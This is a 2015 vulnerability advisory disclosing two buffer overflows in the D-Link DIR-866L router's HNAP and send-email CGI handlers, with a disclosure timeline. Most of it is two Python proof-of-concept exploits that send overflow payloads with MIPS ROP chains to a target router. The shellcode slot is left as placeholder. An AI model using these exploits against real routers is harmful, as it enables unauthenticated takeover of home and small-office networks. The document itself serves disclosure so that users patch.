## Advisory Information

Title: DIR-866L Buffer overflows in HNAP and send email functionalities 
Vendors contacted: William Brown <william.br...@dlink.com>, Patrick Cline 
patrick.cl...@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor 
indicated that they have fixed issues as per the email communication. The 
vendor had also released the information on their security advisory pages 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence 
the information needs to be publicly accessible so that users using these 
devices can update the router firmwares.The author (Samuel Huntley) releasing 
this finding is not responsible for anyone using this information for malicious 
purposes. 

## Product Description

DIR866L -- AC1750 Wi-Fi Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 2 security issue in DIR866L firmware which allows an attacker 
on wireless LAN  to exploit buffer overflow vulnerabilities in hnap and send 
email functionalities. An attacker needs to be on wireless LAN or management 
interface needs to be exposed on Internet to exploit HNAP vulnerability but it 
requires no authentication. The send email buffer overflow does require the 
attacker to be on wireless LAN or requires to trick administrator to exploit 
using XSRF.

## Details

HNAP buffer overflow
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
import string
import sys

BUFFER_SIZE = 2048

# Observe this in a emulator/debugger or real device/debugger


buf = "POST /hnap.cgi HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: 
test\r\nContent-Length: 
13\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings\r\nHNAP_AUTH: 
test\r\nCookie: 
unsupportedbrowser=1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
buf+="FFFF"
buf+=struct.pack(">I",0x2abfc9f4) # s0 ROP 2 which loads S2 with sleep address
buf+="\x2A\xBF\xB9\xF4" #s1 useless
buf+=struct.pack(">I",0x2ac14c30) # s2 Sleep address
buf+="DDDD" #s3
buf+=struct.pack(">I",0x2ac0fb50) # s4 ROP 4 finally loads the stack pointer 
into PC
buf+=struct.pack(">I",0x2ac0cacc)  # retn Loads s0 with ROP2 and ao with 2 for 
sleep 
buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGG" #This is the padding as SP is added 
with 32 bytes in ROP 1
buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGG" # This is the padding as SP is 
added with 36 bytes in ROP 2
buf+=struct.pack(">I",0x2abcebd0) # This is the ROP 3 which loads S4 with 
address of ROP 4 and then loads S2 with stack pointer address
buf+="GGGGGGGGGGGGGGGG"
buf+="AAAAAAAAAAAAAAAAAAAAA" # Needs a proper shell code Bad chars 1,0 in the 
first bit of hex byte so 1x or 0x
buf+="GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ\r\n\r\n"+"test=test\r\n\r\n"

# Bad chars \x00 - \x20
# sleep address 2ac14c30
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
s.send(buf)
data = s.recv(BUFFER_SIZE)
s.close()
print "received data:", data

----------------------------------------------------------------------------------------------------------------------

# Send email buffer overflow
----------------------------------------------------------------------------------------------------------------------

import socket
import struct
import string
import sys

BUFFER_SIZE = 2048

# Observe this in a emulator/debugger or real device/debugger

buf = "GET 
/send_log_email.cgi?test=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
buf+="1111" #s0 Loaded argument in S0 which is loaded in a0
buf+=struct.pack(">I",0x2ac14c30) #s4 Sleep address 0x2ac14c30 
buf+="XXXX"
buf+="FFFF" # s3
buf+="XXXX"
buf+="BBBB" # s5
buf+="CCCC" # s6
buf+="DDDD" # s7
buf+="DDDD" # extra pad
buf+=struct.pack(">I",0x2ABE94B8) # Retn address 2ABE94B8 ROP1
buf+="EEEBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" # 
buf+="EEEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" # 
buf+="XXXX" # 
buf+="BBBBBBBBBBBBBBBB" #16 bytes before shellcode
buf+="CCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
s.send(buf)
data = s.recv(BUFFER_SIZE)
s.close()
print "received data:", data

----------------------------------------------------------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William 
Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the 
vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley (samhuntle...@gmail.com).

Reply via email to